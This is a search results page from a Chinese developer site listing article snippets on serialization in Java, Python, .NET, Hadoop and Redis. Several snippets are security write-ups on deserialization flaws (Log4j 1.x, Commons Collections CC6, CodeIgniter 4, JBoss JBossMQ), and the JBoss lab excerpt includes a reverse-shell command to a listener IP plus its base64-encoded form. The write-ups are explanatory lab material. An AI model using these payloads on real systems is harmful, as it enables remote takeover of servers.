首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏明丰随笔

    运行时序列化 4

    不修改某类型的代码,也能重写该类型的对象的序列化和反序列化? 对于很多第三方类库的代码,如果里面的类型没有定义成可序列化的,但是我们也想对其进行序列化操作,我们通过学习本文就可以做到。 应用程序之所以要重写某类型的序列化和反序列化,主要因为以下三个方面: 1. 允许开发人员序列化最初没有设计成可序列化的类型。 2. 允许开发人员提供一种方式将类型的一个版本映射到另一个的版本。 3. 允许开发人员重写默认的序列化逻辑。 为了达到目的,需要做一下几步: 1. 我们需要一个“代理类型”,它会重写目标类型的序列化和反序列化的逻辑。 2. 向格式化器注册“代理类型”和目标类型对应关系。 格式化器对目标类型的实例进行序列化或反序列化,就会调用“代理类型”里面定义的方法。 属性 格式化器的序列化和反序列化会查找SurrogateSelector里面的注册信息,根据查找结果最终决定是否使用序列化代理类来执行序列化的动作 -纸上得来终觉浅,绝知此事要躬行-

    57220发布于 2019-07-22
  • 来自专栏企鹅号快讯

    Python模块知识4序列化Jsonpickle

    序列化与反序列化 序列化:把Python的基本数据类型转为字符串 反序列化:把字符串转为Python的基本数据类型 Python中用于序列化的两个模块: json 用于【字符串】和 【python dict、list、tuple、str、int、flost、True、False pickle 用于【python特有的类型】 和 【python基本数据类型】间进行转换,支持任何类型,更适合所有类型的序列化 open('db','r'))#读文件操作 print(r,type(r)) 执行结果: ['a', 'b'] 案例3:基于天气的API获取天气相关的json 执行结果: 关于pickle的应用: 案例4: acc.pkl','wb')) y=pickle.load(open('acc.pkl','rb')) print("添加新的值",y,type(y)) 案例5-3:对象的pickle使用 案例5-4

    1.3K90发布于 2018-01-11
  • 来自专栏不温卜火

    MapReduce快速入门系列(4) | Hadoop序列化

    为什么不用Java的序列化   Java的序列化是一个重量级序列化框架(Serializable),一个对象被序列化后,会附带很多额外的信息(各种校验信息,Header,继承体系等),不便于在网络中高效传输 Hadoop序列化特点: 1.紧凑:高效使用存储空间 2.快速:读写数据的额外开销小 3.可扩展:随着通信协议的升级而可升级 4.互操作:支持多语言的互交 二. (downFlow); out.writeLong(sumFlow); } 4. out.writeLong(upFlow); out.writeLong(downFlow); out.writeLong(sumFlow); } //4 sunFlow.set(sum_upFlow, sum_downFlow); // 3 写出 context.write(key, sunFlow); } } 4.

    81931发布于 2020-10-28
  • 来自专栏安全小圈

    log4j反序列化漏洞分析

    但该漏洞遇到的比较少,就算一些cms中log4j组件版本存在漏洞,该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作,从而才能利用。 漏洞版本:CVE-2019-17571 1.2.4 <= Apache Log4j <= 1.2.17 漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作 0x02 log4j 反序列化分析 漏洞复现 配置漏洞代码 import org.apache.log4j.net.SimpleSocketServer; public class log4j { 由于比较少见,反序列化回显暂不构造。 github地址:https://github.com/nice0e3/log4j_POC 动动小手点点start 0x04 结尾 log4j的反序列化漏洞比较简单,而类似于这种反序列化工具原理其实差不多

    3K30发布于 2021-05-28
  • 来自专栏Naraku的专栏

    Java安全-反序列化-4-CC6

    先创建一个HashSet对象 HashSet hashSet = new HashSet(1); hashSet.add("test"); 跟进看一下,发现在readObject方法中会对输入流s进行反序列化 e = (E) s.readObject(); map.put(e, PRESENT); } } 然后再看writeObject方法,发现存在逻辑通过for循环来对keySet中的元素进行序列化 for (E e : map.keySet()) s.writeObject(e); } 序列化 如果想要控制key元素,那么首先要获取到map这个对象,才能对key进行操作 Field#get key"); key.setAccessible(true); // 设置tiedMap为Node对象的Key key.set(node, tiedMap); 触发漏洞 最后再对hashSet对象进行序列化 ,并模拟反序列化场景来触发漏洞 // Serialization ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream

    65930编辑于 2022-04-26
  • 来自专栏网络安全攻防

    JBoss 4.x JBossMQ JMS反序列化

    影响范围 JBoss AS <=4.x 漏洞概述 在JBoss AS 4.x及之前版本的JbossMQ实现过程中,JMS over HTTP Invocation Layer的HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可构造序列化数据利用该漏洞来执行任意代码并获取服务器端的权限 环境搭建 在这里我们使用Vulhub来构建环境: docker compose up -d 环境启动后访问地址为 tools/runtime-exec /bin/bash -i >& /dev/tcp/192.168.204.144/4444<&1 bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx}|{base64,-d}|{bash,-i}" > 1 ,存在反序列化漏洞: /jbossmq-httpil/HTTPServerILServlet/* 参考链接 https://github.com/joaomatosf/JavaDeserH2HC

    42610编辑于 2025-01-22
  • 来自专栏大内老A

    我的WCF之旅(4):WCF中的序列化

    首先我们还是来看一个例子,通过比较Managed Type的结构和生成的XML的结构来总结这种序列化方式采用的是怎样的一种Mapping方式。  order);                 }             }             Process.Start(fileName);         } 调用上面定义的方法,生成序列化的 只有Public Field和可读可写得Proppery才会被序列化到XML中——比如定义在XMLProduct中的internal string ProducingArea没有出现在XML中。 可以通过XmlIgnore attribute阻止对象成员被序列化。 基于上面这些,我们重新定义了XMLProduct和XMLOrder。 > <XMLOrder id="9a0bbda<em>4</em>-1743-4398-bc<em>4</em>f-ee216e02695b" xmlns="http://artech.wcfSerialization/Samples/Order

    896110发布于 2018-01-16
  • 来自专栏小工匠聊架构

    Redis - RedisTemplate及4序列化方式深入解读

    看看4序列化相关的属性 ,主要是 用于 KEY 和 VALUE 的序列化 。 ---- RedisSerializer 序列化 接口 RedisSerializer接口 是 Redis 序列化接口,用于 Redis KEY 和 VALUE 的序列化 ? 归类一下 JDK 序列化方式 (默认) String 序列化方式 JSON 序列化方式 XML 序列化方式 ---- JDK 序列化方式 (默认) org.springframework.data.redis.serializer.JdkSerializationRedisSerializer VALUE 被序列化成这样,除了阅读可能困难一点,不支持跨语言外,实际上也没还OK。不过,实际线上场景,还是使用 JSON 序列化居多。 我们来思考下,在将一个对象序列化成一个字符串,怎么保证字符串反序列化成对象的类型呢?

    16.4K53发布于 2021-08-17
  • 来自专栏大内老A

    我的WCF之旅(4):WCF中的序列化

    4.        所以对象在XML的输出顺序是按照字母排序。 5.        所有成员的Elelement 名称为成员名称。 6.        对象的成员只能以XML Element的形式被序列化4.        7767-4ed4-bdf8-033e99c00a64</id>   <date>2007-03-09T00:00:00+08:00</date>   <product xmlns:a="http:// 所以这就对Serializer提出了要求——它必须为Managed Type的结构和XML的结构提供可逆性的保证——我们把一个.NET Object<em>序列化</em>成一组XML,然后对这组XML进行反<em>序列化</em>重建的对象必须和原来一致 ,把它反<em>序列化</em>成DataContractOrder 对象,看它的内容是否和原来一样。

    1.1K110发布于 2018-01-16
  • 来自专栏玖叁叁

    Python序列化-序列化和反序列化

    使用 JSON 模块将 Python 对象转换为 JSON 格式的字符串非常简单,只需调用 json.dumps() 函数并传递要序列化的 Python 对象即可。

    1.2K40编辑于 2023-04-18
  • 来自专栏全栈程序员必看

    Java安全之log4j反序列化漏洞分析

    Java安全之log4j反序列化漏洞分析 0x00 前言 前段时间在看某个cms代码的时候,发现log4j组件版本存在漏洞,并且开启了端口,但web站点是nginx反向代理的,而在外网并没有开放到该端口 但该漏洞遇到的比较少,就算一些cms中log4j组件版本存在漏洞,但是该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作,从而才能利用。 漏洞版本:CVE-2019-17571 1.2.4 <= Apache Log4j <= 1.2.17 漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作 0x02 log4j 反序列化分析 漏洞复现 配置漏洞代码 import org.apache.log4j.net.SimpleSocketServer; public class log4j { github地址:https://github.com/nice0e3/log4j_POC 动动小手点点star 0x04 结尾 log4j的反序列化漏洞比较简单,而类似于这种反序列化工具原理其实差不多

    1.1K40编辑于 2021-12-13
  • 来自专栏洁癖是一只狗

    序列化与反序列化

    ,在把二进制流转成对象这就是是序列化,反序列化4 如果我们要自定义序列化,则必须要实现writeObject和对应的 readObject方法 ? ? ? ? 5 序列化存储规则。 ? ? ? 7 单列模式进行序列化,那还是单例吗? ? ? ? 从上面结果能发现,序列化后反序列化之后,不再是同一个对象了。 其实是可以这样解释的:Java有4种创建对象的方式(new、newInstance()、clone()以及这里的readObject()方法),readObject方法就是相当于新建了一个对象,所以上面引用的会是不同的对象 4.Externalizable接口如何实现。 5.序列化会破坏单例模式。

    1.9K20发布于 2020-06-15
  • 来自专栏python3

    序列化与反序列化

    序列化(pickling)   把变量从内存中变成可存储或传输的过程 反序列化(unpickling)   把变量内容从序列化的对象重新读到内存里的过程 序列化&反序列化的意义   在程序运行过程中 ,对象可在内存中被自由的修改   一旦程序结束,对象所占内存会被系统回收,所做修改会全部丢失,要想在内存中将对象恢复到修改后状态,就只能重新运行程序进行修改   通过序列化和反序列化,就可把对象某一时刻在内存中的内容状态同步到磁盘 ,或通过网络传输到别的机器上最为一个记录   当想在内存中恢复该对象在那一时刻的状态时,就可通过将磁盘或其他机器上记录的对象状态反序列化至内存,而无需重新运行程序 实例 import pickle##引入 d1 = pickle.loads(bytes) ##pickle.loads()方法把bytes反序列化出对象 print(d1) ##################### f1.close() print(d1) 注意:   不同版本的Python彼此都不兼容,只能用Pickle保存那些不重要的数据,不能成功地反序列化也没关系   反序列化后的对象是一个新的对象

    1K10发布于 2020-01-17
  • 来自专栏Web前端开发

    序列化和反序列化

    一、序列化: 就是将内存中的对象转换为字节序列,方便持久化到磁盘或者网络传输 SerializeToString(): serializes the message and returns it as 二、反序列化: 就是将字节序列转换为内存中的对象 ParseFromString(data): parses a message from the given string.

    1.2K30发布于 2019-09-23
  • 来自专栏01二进制

    序列化系列(1)——JDK序列化和Hessian序列化

    我之前在《聊一聊RPC》中曾提过什么是序列化和反序列化,当时有说过之后要单独抽出一期来详细聊聊序列化,没想到这一拖竟然拖了一年多,现在来把这个坑补上。 由于篇幅较长,本文先主要介绍两种常见的序列化方式——JDK序列化和Hessian序列化。 ? 反序列化时JVM会按版本号找指定版本的class文件进行反序列化,如果class文件有版本号在序列化和反序列化时不一致就会导致反序列化失败,会抛异常提示版本号不一致, 特点 JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流 一个整数由八位数x49('I')表示,后面是整数的4个八位数,以高位优先(big-endian)顺序排列。 简单来说就是,如果要存储一个数据为1的整数,Hessian会存储成I 1这样的形式。 hessian-serialization.html [2] Serialization: http://hessian.caucho.com/doc/hessian-serialization.html#anchor4

    1.4K61发布于 2021-08-06
  • 来自专栏FreeBuf

    痛心的CodeIgniter4.x反序列化POP链挖掘报告

    0x00 前言 CI框架作为PHP国外流行的框架,笔者有幸的挖掘到了它的反序列化POP链,其漏洞影响版本为4.*版本。 ? 文末有笔者与该厂商的一些“小故事”。 0x01 POP链分析 当然,反序列化漏洞需要反序列化操作的支撑,因此,笔者定义了一个触发该反序列化漏洞的控制器,定义于:/app/Controllers/Home.php 主要内容于: <? CI框架写代码有定义方法默认值的习惯,这样在我们的反序列化中每个跳板显得非常的圆润,而TP3.2.3没有定义默认值的习惯,这里需要降低PHP版本,来实现反序列化。 文章中将反序列化跳板直接写上了,实际挖洞过程不忍直视… 0x06 “凉心”框架CI 笔者在4月9号挖掘到了该反序列化漏洞,但Mysql恶意服务器只适用于PHP7.2. *版本,在4月9号笔者通过hackerone向厂商提交了该漏洞,搞不好还可以申请一个CVE编号呢。如图(翻译来的): ? 通过厂商的驳回,笔者当然向CNVD上交该漏洞了。

    6.1K20发布于 2021-05-20
  • 来自专栏CSDNToQQCode

    序列化和反序列化

    序列化:将对象写入到IO流中 反序列化:从IO流中恢复对象 在类中增加 writeObject 和 readObject 方法可以实现自定义序列化策略。 意义:序列化机制允许将实现序列化的Java对象转换为字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。 并且创建序列化ID,用来判断是否可以反序列化序列化并不保存静态变量 要想将父类对象也序列化,就需要让父类也实现 Serializable 接口。 序列化对象的引用类型成员变量,也必须是可序列化的,否则,会报错。 反序列化时必须有序列化对象的class文件。 同一对象序列化多次,只有第一次序列化为二进制流,以后都只是保存序列化编号,不会重复序列化

    83920编辑于 2022-11-29
  • 来自专栏各类技术文章~

    序列化和反序列化

    1.什么是序列化和反序列化 内存中的字典、列表、集合以及各种对象,如何保存到一个文件中? 如果是自己定义的类的实例,如何保存到一个文件中? ;可以将数据序列化后持久化,或者网络传输; 也可以将从文件中或者从网络接收到的字节序列反序列化; 2.pickle库 python中的序列化、反序列化模块; dumps 对象序列化为bytes对象; dump with open(filename, ‘rb’) as f: for i in range(4): x = pickle.load(f) print(type(x), x) # <class ‘int : 把JSON字符串转换成python对象 用于实现Python数据类型与通用(json)字符串之间的转换 dumps()、dump()、loads()、load() 4.msgpack库 基于二进制高效的对象序列化库 一般来说,本地序列化的情况,应用较少,大多数场景都应用在网络传输中;将数据序列化后通过网络传输到远程节点,远程服务器上的服务将接收到的数据反序列化后,就可以使用了;但是要注意一点,远程接收端,反序列化时必须有对应的数据类型

    1.1K00发布于 2021-10-23
  • 来自专栏程序员

    序列化和反序列化

    序列化和反序列化 序列化就是将Python对象(这里以python语言为例进行说明)及其所拥有的的层次结构转化为一个字节流的过程;而反序列化则是和序列化相反的操作,反序列化会将字节流转化为Python对象 为什么要有序列化和反序列化 对于没有实际开发经验的编程初学者而言,可能不太明白序列化和反序列化的场景。 注意:pickle模块是不安全的,你只能对你信任的数据进行序列化,否则反序列化产生的数据可能是不安全的,从而导致安全事故。 web后端所处理的事情无非就是: 将数据库数据序列化为前端所需要的格式,并返回;将前端发送的数据反序列化为模型类对象,并保存到数据库中。 判断要修改的数据是否存在 -> 校验请求的数据 -> 执行反序列化过程 ->保存数据库 ->将保存的对象序列化并返回 查:查询数据库 -> 将数据序列化并返回

    1.1K10编辑于 2021-12-07
  • 来自专栏Java

    序列化与反序列化

    不同的序列化方式适用于不同的场景和需求,可以根据具体的情况选择合适的方式进行序列化和反序列化操作。下面我们以网络传输中的序列化与反序列化场景为例,解释为何要进行序列化和反序列化操作。 Java 中的序列化与反序列化不同语言中序列化与反序列化的实现方式大都不太一样,即使同一种语言中也会存在多种序列化与反序列化的实现方式。 序列化注意事项:序列化对象必须实现序列化接口。序列化对象里面的属性是对象的话也要实现序列化接口。类的对象序列化后,类的序列化ID不能轻易修改,不然反序列化会失败。 如果父类没有序列化,子类序列化了,子类中的属性能正常序列化,但父类的属性会丢失,不能序列化。用Java序列化的二进制字节数据只能由Java反序列化,不能被其他语言反序列化。 __biz=Mzg4ODQ1NTE2Mg==&mid=2247571036&idx=1&sn=bcfe1b0d0665daed9de8e86ae7940f3c&chksm=ce0b8c1ac1721a86f9a811cc328affe739c4b50079bab1952448d5608befd10c0b559cdd3991&

    47810编辑于 2025-05-06
领券